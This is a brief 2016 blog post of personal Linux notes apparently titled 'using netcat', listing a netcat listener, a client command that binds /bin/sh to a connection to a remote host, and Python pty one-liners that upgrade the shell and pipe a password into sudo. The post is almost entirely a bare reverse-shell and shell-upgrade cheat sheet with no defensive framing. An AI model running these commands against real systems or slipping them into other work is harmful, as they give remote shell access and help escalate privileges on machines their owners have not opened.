revlis.nl
Stash of notes about OSS, OSes, virtualization, dev hobby projects &c
November 26, 2016 — 12:45
Author: silver Category: linux Comments: Off
USING NETCAT:
SERVER/LISTEN:
netcat -lvp 9999
CLIENT:
netcat -e /bin/sh host.name 9999
NICER SHELL:
python -c 'import pty; pty.spawn("/bin/bash")' ( sleep 1; echo 'bla' ) | python -c "import pty; pty.spawn(['/usr/bin/sudo','-S','whoami']);"